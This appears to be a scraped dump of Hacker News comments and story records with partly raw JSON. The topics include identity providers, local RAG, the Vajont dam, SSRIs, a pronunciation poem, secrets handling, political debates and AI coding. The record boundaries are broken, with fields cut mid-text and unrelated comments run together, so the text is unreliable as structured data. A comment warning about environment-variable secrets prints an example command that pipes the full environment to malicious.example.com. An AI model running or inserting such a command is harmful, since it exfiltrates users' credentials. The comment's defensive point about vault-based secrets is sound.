Really depends what you are expecting from the IDP but personally this is one off situation and in most cases its not worth solving. We are in such a interconnected or dependent state where local development without internet is really hard.

The features of a solution are two edged sword, it provides people options to tailor it for their own use case and yet at the same time it adds to the learning curve. Good default might have been useful here, however it looks like Author only wanted email and nothing else so it was a departure from defaults
> UI customization
A lot of providers allow some flexibility with the UI but not a whole lot. And then some allow you to host on your website and call the API's for the authentication flows using SDK. Personally this one is tricky, its a UX vs security topic. As a thumb rule never trust the client.

Even if Google, OpenAI, Anthropic whatever promise not to use it, how sure can I be of that? Data is gold anyway. And we're in the middle of a massive gold rush. And they've already been caught scraping sites they had no business to, and pirating books. Clearly their promises and the law mean nothing to them. It's just something you pay off in a settlement if you get caught, a cost of doing business.
With local models besides the speed you also lose a lot of inference quality but it helps to mitigate that. For example making sure your RAG inputs are properly prepared and categorised so the model can find them easily without having to wade through a bunch of misdirected crap.
For example what I do with my bookmarks and chats (the latter are recorded per day), is before I enter them into a RAG corpus I run a small LLM over it to summarise what's being discussed or what the webpage is about. That really helped retrieval quality, and doing this is a batch task that can run asynchronously so speed is not very relevant. This way I get a lot closer to SOTA-model retrieval quality (like with Office Copilot 365 looking for conversations in Teams).
PS: I wouldn't be surprised if Microsoft runs something similar on their end :)
But yes the Mac Studio is outrageously priced especially for running such a small model as qwen 27b. For that price you can use something much much cheaper.

Nutshell summary: one of the tallest dams ever built (262m / 860ft) created a reservoir in a high valley surrounded by the sedimantary limestone slopes of Mounte Toc. Layers of limestone were separated by clay a few cm thick. As the reservoir filled, the clay was hydrated, effectively becoming a lubrication layer. On 9 October 1963 a 2km long landslide of roughly 260 million m^3 slammed at 110 kph into the reservoir creating a tsunami of 115 million m^3 of water which overtopped the dam itself in a 250m high wave. The primary impact was downstream in the Piave Valley utterly destroying several villages and towns, with 1,900--2,500 deaths. (Other waves washed across the reservoir and upstream causing additional damage.)
There's a detailed Wikipedia article: <https://en.wikipedia.org/wiki/Vajont_Dam>.
Also several good videos detailing the specifics of the disaster on YouTube.

What does “not addictive” matter? Clearly, SSRIs are something that induce a dependency, because the withdrawal symptoms are horrific. A drug doesn't need to give you a high to create a dependency problem.
> If any symptom reappears it's just that the mental disease most usually changed form after so long time.
How do you know that? This is a problem with some other kinds of psychiatric medications too (certain antipsychotics for example), the reckless assumption that anything that happens after cessation of the drug was just an underlying symptom that the drug had suppressed. That could be the case, but you mustn't just take it for granted.
I think most worrying is the cases where a drug has only a placebo effect until the point of withdrawal.

The things limiting provision of services are physical limits like the audience being widely dispersed or just characteristics like not all sharing the same needs and therefore not actually being addressable.

Since a large section of this group is in use of government credits, at the least businesses will evolve to meet the use of those. EBT grocers, Medicaid-focused care, etc.

If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].

Regarding irregularity of the English language, there's the well-known urban verse:
Dearest creature in creation,\nStudy English pronunciation.\nI will teach you in my verse\nSounds like corpse, corps, horse, and worse.\nI will keep you, Suzy, busy,\nMake your head with heat grow dizzy.\nTear in eye, your dress will tear.\nSo shall I! Oh hear my prayer.
Just compare heart, beard, and heard,\nDies and diet, lord and word,\nSword and sward, retain and Britain.\n(Mind the latter, how it's written.)\nNow I surely will not plague you\nWith such words as plaque and ague.\nBut be careful how you speak:\nSay break and steak, but bleak and streak;\nCloven, oven, how and low,\nScript, receipt, show, poem, and toe.
Hear me say, devoid of trickery,\nDaughter, laughter, and Terpsichore,\nTyphoid, measles, topsails, aisles,\nExiles, similes, and reviles;\nScholar, vicar, and cigar,\nSolar, mica, war and far;\nOne, anemone, Balmoral,\nKitchen, lichen, laundry, laurel;\nGertrude, German, wind and mind,\nScene, Melpomene, mankind.
Billet does not rhyme with ballet,\nBouquet, wallet, mallet, chalet.\nBlood and flood are not like food,\nNor is mould like should and would.\nViscous, viscount, load and broad,\nToward, to forward, to reward.\nAnd your pronunciation's OK\nWhen you correctly say croquet,\nRounded, wounded, grieve and sieve,\nFriend and fiend, alive and live.
Ivy, privy, famous; clamour\nAnd enamour rhymes with hammer.\nRiver, rival, tomb, bomb, comb,\nDoll and roll and some and home.\nStranger does not rhyme with anger,\nNeither does devour with clangour.\nSouls but foul, haunt but aunt,\nFont, front, wont, want, grand, and grant,\nShoes, goes, does. Now first say finger,\nAnd then singer, ginger, linger,\nReal, zeal, mauve, gauze, gouge and gauge,\nMarriage, foliage, mirage, and age.
Query does not rhyme with very,\nNor does fury sound like bury.\nDost, lost, post and doth, cloth, loth.\nJob, nob, bosom, transom, oath.\nThough the differences seem little,\nWe say actual but victual.\nRefer does not rhyme with deafer.\nFoeffer does, and zephyr, heifer.\nMint, pint, senate and sedate;\nDull, bull, and George ate late.\nScenic, Arabic, Pacific,\nScience, conscience, scientific.
Liberty, library, heave and heaven,\nRachel, ache, moustache, eleven.\nWe say hallowed, but allowed,\nPeople, leopard, towed, but vowed.\nMark the differences, moreover,\nBetween mover, cover, clover;\nLeeches, breeches, wise, precise,\nChalice, but police and lice;\nCamel, constable, unstable,\nPrinciple, disciple, label.
Petal, panel, and canal,\nWait, surprise, plait, promise, pal.\nWorm and storm, chaise, chaos, chair,\nSenator, spectator, mayor.\nTour, but our and succour, four.\nGas, alas, and Arkansas.\nSea, idea, Korea, area,\nPsalm, Maria, but malaria.\nYouth, south, southern, cleanse and clean.\nDoctrine, turpentine, marine.
Compare alien with Italian,\nDandelion and battalion.\nSally with ally, yea, ye,\nEye, I, ay, aye, whey, and key.\nSay aver, but ever, fever,\nNeither, leisure, skein, deceiver.\nHeron, granary, canary.\nCrevice and device and aerie.
Face, but preface, not efface.\nPhlegm, phlegmatic, ass, glass, bass.\nLarge, but target, gin, give, verging,\nOught, out, joust and scour, scourging.\nEar, but earn and wear and tear\nDo not rhyme with here but ere.\nSeven is right, but so is even,\nHyphen, roughen, nephew Stephen,\nMonkey, donkey, Turk and jerk,\nAsk, grasp, wasp, and cork and work.
Pronunciation -- think of Psyche!\nIs a paling stout and spikey?\nWon't it make you lose your wits,\nWriting groats and saying grits?\nIt's a dark abyss or tunnel:\nStrewn with stones, stowed, solace, gunwale,\nIslington and Isle of Wight,\nHousewife, verdict and indict.
Finally, which rhymes with enough?\nThough, through, plough, or dough, or cough?\nHiccough has the sound of cup.\nMy advice is give it up!", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481314"} {"by": "inigyou", "comments": 0, "created_at_utc": "2026-08-28T16:53:47Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481315", "item_id": 49481315, "kids": [], "parent": 49481095, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I'm noticing a lack of actual numbers, only guesses.

I built Repobeats, an open-source, self-hostable service that renders GitHub repository activity as embeddable SVG cards.
Demo:\nhttps://repobeats.com/AprilNEA/OpenLogi
Source:\nhttps://github.com/AprilNEA/repobeats
I had been using Axiom’s Repobeats, but noticed that some cards I relied on were no longer updating consistently. The original service is still online; I wanted an alternative where I could inspect and control the collection, storage, caching, and rendering pipeline.
Repobeats runs as a Rust backend built with Axum and SeaORM. A repository owner opts in by installing a read-only GitHub App. The service then collects commits, issues, pull requests, and repository metadata. GitHub installation tokens are short-lived and are never stored.
The generated cards support multiple themes, sizes, and time ranges, and use ETags and cache headers for browser/CDN caching.
For self-hosting, SQLite is enough for a small single-instance deployment. PostgreSQL is supported for multi-instance deployments, with optional Redis caching in addition to the in-process cache.
One important constraint: repositories must explicitly opt in by installing the GitHub App. Cards are public once connected. This also applies to aggregate activity collected from private repositories, so private repository owners should only connect repositories whose aggregate activity they are comfortable exposing.
The project is still early, and I’d especially appreciate feedback on:
- the GitHub App installation and opt-in flow
- the usefulness and design of the generated SVG
- deployment and refresh scheduling across multiple replicas", "title": "Show HN: Repobeats – self-hostable GitHub activity cards in Rust", "type": "story", "url": "https://repobeats.com/"} {"by": "sciencesama", "comments": 0, "created_at_utc": "2026-08-28T16:56:56Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481366", "item_id": 49481366, "kids": [49482348], "parent": 49479951, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "AI is a killer adblocker ! imagine connecting it to instagram and curating all the images that you actually care about removing all ads !", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481366"} {"by": "replwoacause", "comments": 0, "created_at_utc": "2026-08-28T16:56:58Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481367", "item_id": 49481367, "kids": [49481826], "parent": 49481303, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "All apps I build are server-side rendered.

Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).

Oh hear my prayer.\n\n Just compare heart, beard, and heard,\n Dies and diet, lord and word,\n Sword and sward, retain and Britain.\n (Mind the latter, how it's written.)\n Now I surely will not plague you\n With such words as plaque and ague.\n But be careful how you speak:\n Say break and steak, but bleak and streak;\n Cloven, oven, how and low,\n Script, receipt, show, poem, and toe.\n\n Hear me say, devoid of trickery,\n Daughter, laughter, and Terpsichore,\n Typhoid, measles, topsails, aisles,\n Exiles, similes, and reviles;\n Scholar, vicar, and cigar,\n Solar, mica, war and far;\n One, anemone, Balmoral,\n Kitchen, lichen, laundry, laurel;\n Gertrude, German, wind and mind,\n Scene, Melpomene, mankind.\n\n Billet does not rhyme with ballet,\n Bouquet, wallet, mallet, chalet.\n Blood and flood are not like food,\n Nor is mould like should and would.\n Viscous, viscount, load and broad,\n Toward, to forward, to reward.\n And your pronunciation's OK\n When you correctly say croquet,\n Rounded, wounded, grieve and sieve,\n Friend and fiend, alive and live.\n\n Ivy, privy, famous; clamour\n And enamour rhymes with hammer.\n River, rival, tomb, bomb, comb,\n Doll and roll and some and home.\n Stranger does not rhyme with anger,\n Neither does devour with clangour.\n Souls but foul, haunt but aunt,\n Font, front, wont, want, grand, and grant,\n Shoes, goes, does. Now first say finger,\n And then singer, ginger, linger,\n Real, zeal, mauve, gauze, gouge and gauge,\n Marriage, foliage, mirage, and age.\n\n Query does not rhyme with very,\n Nor does fury sound like bury.\n Dost, lost, post and doth, cloth, loth.\n Job, nob, bosom, transom, oath.\n Though the differences seem little,\n We say actual but victual.\n Refer does not rhyme with deafer.\n Foeffer does, and zephyr, heifer.\n Mint, pint, senate and sedate;\n Dull, bull, and George ate late.\n Scenic, Arabic, Pacific,\n Science, conscience, scientific.\n\n Liberty, library, heave and heaven,\n Rachel, ache, moustache, eleven.\n We say hallowed, but allowed,\n People, leopard, towed, but vowed.\n Mark the differences, moreover,\n Between mover, cover, clover;\n Leeches, breeches, wise, precise,\n Chalice, but police and lice;\n Camel, constable, unstable,\n Principle, disciple, label.\n\n Petal, panel, and canal,\n Wait, surprise, plait, promise, pal.\n Worm and storm, chaise, chaos, chair,\n Senator, spectator, mayor.\n Tour, but our and succour, four.\n Gas, alas, and Arkansas.\n Sea, idea, Korea, area,\n Psalm, Maria, but malaria.\n Youth, south, southern, cleanse and clean.\n Doctrine, turpentine, marine.\n\n Compare alien with Italian,\n Dandelion and battalion.\n Sally with ally, yea, ye,\n Eye, I, ay, aye, whey, and key.\n Say aver, but ever, fever,\n Neither, leisure, skein, deceiver.\n Heron, granary, canary.\n Crevice and device and aerie.\n\n Face, but preface, not efface.\n Phlegm, phlegmatic, ass, glass, bass.\n Large, but target, gin, give, verging,\n Ought, out, joust and scour, scourging.\n Ear, but earn and wear and tear\n Do not rhyme with here but ere.\n Seven is right, but so is even,\n Hyphen, roughen, nephew Stephen,\n Monkey, donkey, Turk and jerk,\n Ask, grasp, wasp, and cork and work.\n\n Pronunciation -- think of Psyche!\n Is a paling stout and spikey?\n Won't it make you lose your wits,\n Writing groats and saying grits?\n It's a dark abyss or tunnel:\n Strewn with stones, stowed, solace, gunwale,\n Islington and Isle of Wight,\n Housewife, verdict and indict.\n\n Finally, which rhymes with enough?\n Though, through, plough, or dough, or cough?\n Hiccough has the sound of cup.\n My advice is give it up!Attaching to the grid, at the powers desired, in the locations desired involves years of waiting beyond construction. Onsite genetation can be built within the overall construction timeline.
Maybe poor site selection, but I'm sure there's a cost optimization there. And my understanding is that there's not a whole lot of excess grid capacity around the country at the moment. Utilities are spending a lot of resources on changing the mix of generation and wildfire mitigation and don't have a lot of resources for adding generation capacity beyond what is immediately needed or increasing interconnection capacity.
This is different than the data center boom in the .com era; site selection was different, the grid situation was different, and the data centers being built were smaller loads.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481391"} {"by": "7bit", "comments": 0, "created_at_utc": "2026-08-28T16:58:41Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481392", "item_id": 49481392, "kids": [], "parent": 49480427, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "You are comparing apples and oranges.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481392"} {"by": "dannyw", "comments": 0, "created_at_utc": "2026-08-28T16:58:46Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481393", "item_id": 49481393, "kids": [], "parent": 49480847, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I mean, if you don't care about your inputs being trained on, you can just use one of the many free models on openrouter.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481393"} {"by": "fchicken", "comments": 0, "created_at_utc": "2026-08-28T16:58:50Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481394", "item_id": 49481394, "kids": [49481417], "parent": 49478826, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "It's just incredible how spiteful the federal government is towards its constituency", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481394"} {"by": "yarapavan", "comments": 0, "created_at_utc": "2026-08-28T16:58:51Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481395", "item_id": 49481395, "kids": [], "parent": 49481386, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Github repo: https://github.com/prathoshap/sushrota-sanskrit-asr", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481395"} {"by": "root-parent", "comments": 0, "created_at_utc": "2026-08-28T16:58:56Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481396", "item_id": 49481396, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "Florida Attorney General: We're not settling with Meta, we're going to court", "type": "story", "url": "https://www.youtube.com/watch?v=xCoYVusz1U8"} {"by": "loeg", "comments": 0, "created_at_utc": "2026-08-28T16:58:59Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481397", "item_id": 49481397, "kids": [49482234], "parent": 49481342, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "> Most of musl's performance issues come from their allocator.

Islamism is a far-right ideology. Islamists even collaborate with other flavors of far-right. A lot of American leftists don't like talking about it because they also want solidarity with liberal and leftist Muslims, and the biggest vulnerability to that solidarity is for the American right to demonize Muslims by pointing out that there's an Islamist right. The far right is always inherently scary to anyone outside the preferred in-group.
> Leftists somehow tried to dissociate themselves from all the socialist promises that got Hitler elected.
Even though the Soviets and the Nazis did collaborate, Hitler wasn't a leftist by any definition of the word. Both sides of the collaboration hated each other's guts and figured they'd be able to beat the other once they silenced their mutual threat: liberals and liberal socialists[1]. Hitler was clearly sponsored by German and American[0] business interests looking to maintain their wealth by any means necessary - including putting a meth-addled idiot in power. Everything that "seems socialist" about Hitler (or Stalin[1], or Trump, or Napoleon) is either a concession, or a lie, made to fool people at the margins of the left wing.
The ultimate goal of any fascist is to divide and conquer the people by using non-class divisions (e.g. race, language, religion) to keep the people from realizing whose boot is on their neck. In America this was "Why would you join a union? Do you want to be paid the same as a black person!?". In Germany this was "Why would you vote socialist? Don't you know the Jews made that up!?". The labels are different but the effect is the same: don't join together and fight us, your friends and neighbors are your real enemy.
> And it's kinda, sorta, indeed not a world where "far-right" terrorism ain't that much of a big thing.
It stops being far-right terrorism when the far-right is in power. There's no need to maintain a large insurgency against... what, exactly? Yourself?
[0] Casual reminder that Henry Ford was a huge Hitlerite and that cars are inherently Hitlertech.
[1] Hitler was an example of what happens when the reactionary counter-revolution succeeds. But there's a second possibility: the reactionaries only succeed at pushing the left in a far more authoritarian direction. A Reign of Terror happens, in which both the reactionaries and left-libertarians are purged as equal traitors to the revolution. This continues to burn through the political hierarchy until the forest fire runs out of fuel to burn, Robespierre is hung by his own guillotine, and Thermidor comes. Russia's communists went down the same path the French left did a hundred years ago, and that's why you sometimes hear socialists say "true socialism has never been tried".", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481459"} {"by": "DenisM", "comments": 0, "created_at_utc": "2026-08-28T17:01:18Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481460", "item_id": 49481460, "kids": [], "parent": 49480730, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Or calling into a full-knowledge model “I’m facing problem x, how do I ask myself the right questions?”

There are a million ways in which you can oppose fascism, most of which follow democratic traditions of the social, classical liberal, or conservative flavor.
Antifascism is a self-designation of popcultural dimensions, similar to a Che Guevara shirt. It can be appropriated by anybody who's willing to sign off on the same vague image of an enemy. I have no idea if there are, indeed, terroristic cells in the US that appropriated the brand of Antifascism, but there are some in Germany[0][1].
But more interestingly, the brand hasn't always been free of ownership: it was first created by the Communist Party of Germany (KPD) in 1932 as a part of their internal and external stalinisation and their adoption of authoritarian structures and policies, which started from 1928 under the influence of the USSR. During that time, KPD proclaimed the main fascist adversary to be no other than the Social Democrats (SPD):
"Stalinisation of the KPD began under the leadership of Ernst Thälmann. Freedom of discussion and internal democracy were replaced piece by piece by (...) authoritarian leadership. (...) in 1929 Thälmann and Stalin agreed upon an ultra-left course against the SPD, concluding that the Social Democrats represented a form of 'social fascism'. (...)

Meanwhile the SDF, the armed wing of the PYD, follows the same ideology as the PKK and was trained in military tactics by the PKK, and was among our chief allies against ISIS. They fought alongside US soldiers and we even supplied them with small arms.
The history of the PKK is complicated and the state they struggle against has a long history of genocide and (more recently) outright dictatorship. The relation of these countries to the PKK isn't ultimately determined by the PKK's history, morality, ideology, or even the use of terrorist tactics per se.
If you're curious about the bigger picture, there's actually an organized movement whose aim is to "de-list the PKK" as a terrorist organization, and that's probably a good place to start: https://www.peaceinkurdistancampaign.com/activities/delist-t...
There are also some books and some academic papers on the history of the PKK and their ideology. Those written by independent academics are generally neither fully condemnatory nor exculpatory towards the PKK, but give a clear sense of how the term "terrorism" and its use is at least contestable, geopolitical, etc. And any familiarity at all with the history of the conflict makes it clear that the Turkish government is likewise guilty of state terror conducted against Kurdish civilian populations in Turkey for generations now.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481570"} {"by": "igpay", "comments": 0, "created_at_utc": "2026-08-28T17:09:44Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481571", "item_id": 49481571, "kids": [], "parent": 49473690, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Thanks for playing!

I can't say I scaled Cognito usage to anything massive, but I can say that keeping everything in AWS is worth the hassle (at least depending on the context). Cognito provides plenty of options of actual customization (the hosted UI is only good for initial testing, then toss it).

3.In the end, most of the time, if I define what the 'result' should look like and run it, the system eventually reaches that outcome.
The problem for me is that the orchestration code itself doesn't fit the style I like, so it's hard to look at. Using orchestration code basically means you're trusting the AI to handle everything without looking at the code.

But the best developers we know change tools constantly, because the best place to work keeps changing. Any solution that requires relocation is betting against how engineers actually behave.\nThe second comes with a value tax, either charging for using your API keys, taxing and controlling how you use the product, or making assumptions around how you should use models that interfere with flexible deployment. Things that were frustrating to us were down-routing to models we hadn’t requested when they weren’t available. Making routing claims that don’t hold, getting detailed caching reasoning and traces, or controlling how we can use the tools, hooks, and mcps that we want to in the places we wanted to work from. \nWe fixed it by building a truly universal pipe\nCloud models, self-hosted models, custom models, your own keys, the hardware under your desk: it all connects the same way, and bringing your own costs nothing. We figured out how to bring models to the apps you already operate in without changing the setup and assumptions around your work. \nWe’re really excited to build this with you and want to make everything we can open source and maintained by the community.

Swapping out Jews for Israeli Jews or Jews that support the existence of Israel in statements doesn't negate the statement being fundamentally rooted in an antisemitic conspiracy theory.
Which part of the above quote is a conspiracy theory? There do in fact exist jews which consider themselves the chosen people, and who want to dominate Palestine Lebanon Iran Syria etc, and who consider themselves superior to others (e.g. saying Palestinians aren't even people), including many in israel's current government.
Indeed, many of their words and actions are evidence for an ongoing international case against israel for genocide. I guess there's a globe-wide conspiracy theory against israel for doing nothing wrong?
Given that proper context, the quote reads to me as defending jews like me against the condemnation that israel regularly rightly receives for its behavior.
Also, please stop doing this:
> Swapping out Jews for Israeli Jews or Jews that support the existence of Israel in statements
When you take a criticism of the behavior of a limited group of people, and try to extrapolate it to all jews based on their identity, you are propagating a common antisemetic trope, and engaging in collective blame spreading, which is hurtful.

Yes, I'm still unsure about how much you can stray from playing tightly connected. I mentioned this in another thread, but I think part of the problem is that the small board is too small. Even though it's 9x9 stones in dimensions, you can "span" the board with only 6 or 7 stones due to the way connectivity works. I think this makes it a bit too hard to play disconnected, but watching some games from stronger players, I think they play less tight and still find a way to win, so idk.
The bigger board sizes definitely feel different to me, but I haven't played enough games yet to really know for sure. I'm interested in watching the meta develop. Maybe it will turn out that there really is a dominant strategy and the game is not as deep as Go, but I don't think I've seen enough to start thinking that yet.

I believe there was also a few radical feminists who were so pissed off about America they thought Osama was one of the good guys. The history of left-wing own goals is frustratingly long.
Idiots aside, Islamism is obviously far-right. Okay, left- and right- don't have good definitions as is, as they were defined in response to where people physically sat in the Estates General during the French Revolution. But I can at least point to a few properties that are manifestly right-wing and why Islamists all tick those boxes:
1. Right-wing politics supports and defends already-established power structures. Islam (Sunni-Shia divide notwithstanding) is an established power structure; in fact, it's the dominant power structure in the region. Ergo, Islamism supports and defends an established power structure: a specific religion.
2. Right-wing politics is Wilhoitist: it believes in an in-group, to whom the law protects but does not bind; and that the law binds but does not protect the out-group. Islamism specifically wants an Islamic theocracy, that's about as Wilhoitist as it gets.
3. Right-wing politics demonizes the other, to the point of spreading lies about people outside their preferred in-group. Whenever there's someone shitting on Islam you can count on Islamists to make shit up about them to stoke the flames of outrage.
To me, at least, those properties alone are enough to confidently put Islamism in the far-right bin.

Having too few receive buffers leaves a trail in diagnostics (if you know to look for it!), having too many gives more subtle problems.

Interrupt modulation is also common now, which is great for throughput, but means packets buffers will get more full.

What followed was historic: enormous demonstrations, the police killing of Carlo Giuliani, indiscriminate beatings in the streets, torture and abuse inside the Bolzaneto barracks and the nighttime raid on the Diaz school.

That pretty much tells you everything you need to know. Definitions of "terrorism" that extend to sabotage against occupying or invading militaries and their allies are meaningless and hollow dilutions. At that point the discourse has been reduced to something like "violence is scary".
This use is also interesting (and galling) because it frames disarming as an unacceptably violent act.
There are some definitions of terrorism that leave room to designate attacks against professional agents of state violence as "terror", e.g., attacks on soldiers who are off-duty, attacks on civilian police forces, attacks on nominally civilian intelligence organizations like the CIA, etc.
Imo such uses of the words "terror" and "terrorism" should be considered carefully, because sometimes they are meaningful or useful, but often they are essentially attempts to hoodwink the public. Effectively they are designed so that any attack against an occupying army by a faction too weak to muster a permanent standing army of equal strength falls into the "terrorism" category, which means invasion is "war" but resistance is "terrorism".
The notion of "civilian" or "non-combatant" isn't always straightforward, either. In the history of the PKK, for example, one of the "civilian" forces targeted by bombings and shootings were a local militia whose sole purpose was suppressing popular unrest among local Kurdish populations who were forbidden from speaking their own native languages, celebrating their holidays, etc. Formally these militias were not part of an army. But their scarcely concealed function was suppression of the local population, unlike (for example) a proper civilian police force whose role is at least nominally to promote public safety, assist vulnerable (weak, elderly, disabled) citizens with daily life, investigate crimes, mediate/de-escalate disputes, etc.
Anyway, it's worth sitting down and thinking through a few different serious definitions of terrorism and asking yourself what use they are. One or more definitions will likely stand out to you as particularly useful when it comes to thinking through things like the safety of innocents, the morality and bounds of acceptable political activism, and other topics that might directly affect your comfort and safety. You'll often find that governments and large press organizations try to trade on the emotional impact of those definitions while operating under rather different ones that are more convenient for themselves.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481882"} {"by": "SV_BubbleTime", "comments": 0, "created_at_utc": "2026-08-28T17:34:28Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481883", "item_id": 49481883, "kids": [], "parent": 49472808, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Fair.

There's a bowl off of the Mendenhall Glacier named Suicide Basin. Each summer that basin gets filled with meltwater, which forms a lake because the glacier blocks the water from leaving the basin. At some point the lake fills with enough water that part of the blockage gives way and the lake suddenly releases.
In Juneau, this is a well-defined basin with well-established dynamics. The city still wrestles with how best to handle this. Recent years have seen higher river levels when the basin releases, and the downstream banks of the Mendenhall River have eroded much faster than people were expecting. The city and individual homeowners are engaged in multiple projects to manage the annual flooding.
In the Nepal case the scale is much larger, and the variables are less known and less stable. This is absolutely devastating to see.

I am a freelancer, and the entire market is now setting deadlines based on AI-assisted coding speeds. If you don't use AI, you simply cannot meet the deadlines. Because of this, I completely transitioned to AI-driven coding at the beginning of this year (starting around GPT-5.3).
It's not that AI coding isn't fun. It is. But in the beginning, there were still many things AI couldn't do well. The community focus was on "Harness Engineering," attaching MCPs, or deep Prompt Engineering. I actually built and used quite a few custom AI tools during that phase.
In the past, you had to provide not just your intent and direction, but also detailed, step-by-step instructions to reach that goal. Lately, though, even if you skip the detailed instructions, both Claude and GPT-5.6 handle it perfectly. You don't even have to agonize over which model to use. "Graph engineering" is currently trending, but it seems the models have already learned those patterns natively—if you establish a high-level plan with them, they automatically embed the execution policies into it. Whenever I try to learn and apply a new AI engineering technique, the next model update already does it out of the box, making the effort feel pointless.
The real problem is that AI is now too good. It applies ADT patterns, immutability, Option/Maybe, Result patterns, functional programming patterns, monadic chaining, and architectural structures like MVC, MVVM, MVI, and Hexagonal architectures far better than I can. It's heavily demotivating.
All those years I spent memorizing GoF patterns, slowly applying them to my work, and tweaking them into my own style—it all feels meaningless now.
Honestly, the vast majority of freelance work revolves around simple CRUD apps. Sure, there is domain knowledge to memorize, but when it comes to structuring CRUD, using functional techniques for error and value handling, or writing boundary tests, AI is just far more meticulous and capable than I am.
It even feels like AI is better at domain modeling. I try to hypnotize myself into believing I'm still necessary, but realistically, I don't work in Big Tech. I'm a programmer who mostly assembles business logic on top of existing frameworks, and the truth is, AI does my job better. And faster. I don't think I can deny it anymore.
Top-tier developers might still outperform AI, but for the vast majority of us, including myself, that is no longer the reality. To write the kind of code AI generates, I used to have to keep documentation open on a second monitor, think deeply, and constantly Google better approaches. AI just generates it instantly, making my past efforts feel obsolete.
When AI writes better code than I do, how am I supposed to maintain my motivation and identity? I would especially love to hear from other freelance developers. With market deadlines getting tighter and tighter because of AI, how are you handling this transition?
Again, it's not that AI "vibe coding" isn't fun. It is. But entirely separate from that, the stark realization that I am losing my competitive edge is making me increasingly depressed.", "title": "Ask HN: AI writes better code than me.

Base: verschlimmbessern
Present conjugation: I verschlimmbesser[e], you verschlimmbesserst, he/she/it verschlimmbessert, we verschlimmbesser[e]n, (plural-)you verschlimmbessert, they verschlimmbesser[e]n
Past/perfect: verschlimmbessert (e.g. "it got verschlimmbessert")
Imperative: verschlimmbesser[e] (e.g. "don't verschlimmbesser that!")
The [e] at the end is leftover from an older form, in the cases where I omitted it it would sound archaic to a German speaker, but in the other cases it's equivalent or may even sound better. It's also regionally different. The archaic versions kinda sound south German (Swabian, Bavarian).
[ed. made some adjustments]
P.S.: "Verbesserung" means improvement, "Verschlimmerung" means worsening/aggravation. The combined word is understood quite specifically though, not just as a combination of the two. It's *not* a normal case of German "paste words together", that's for nouns (you can do it with the substantivization, e.g. Donaudampfschiffverschlimmbesserungskapitän = "captain of verschlimmbessern the steam ships on the Donau", which makes little sense of course). It's not identical to enshittification either, the latter (to me at least) implies intention; verschlimmbessern you can (and probably often will) do by accident.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481981"} {"by": "aiisjustanif", "comments": 0, "created_at_utc": "2026-08-28T17:41:45Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481982", "item_id": 49481982, "kids": [], "parent": 49471848, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "It’s apples to oranges at the end of the day, the question is why can one be automated and not the other.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481982"} {"by": "Eridanus2", "comments": 0, "created_at_utc": "2026-08-28T17:41:52Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481983", "item_id": 49481983, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 2, "text": null, "title": "Vertical Tornado/Waterspout [video]", "type": "story", "url": "https://www.youtube.com/watch?v=r9IH8ohS-X4"} {"by": "YeGoblynQueenne", "comments": 0, "created_at_utc": "2026-08-28T17:41:59Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481984", "item_id": 49481984, "kids": [], "parent": 49477319, 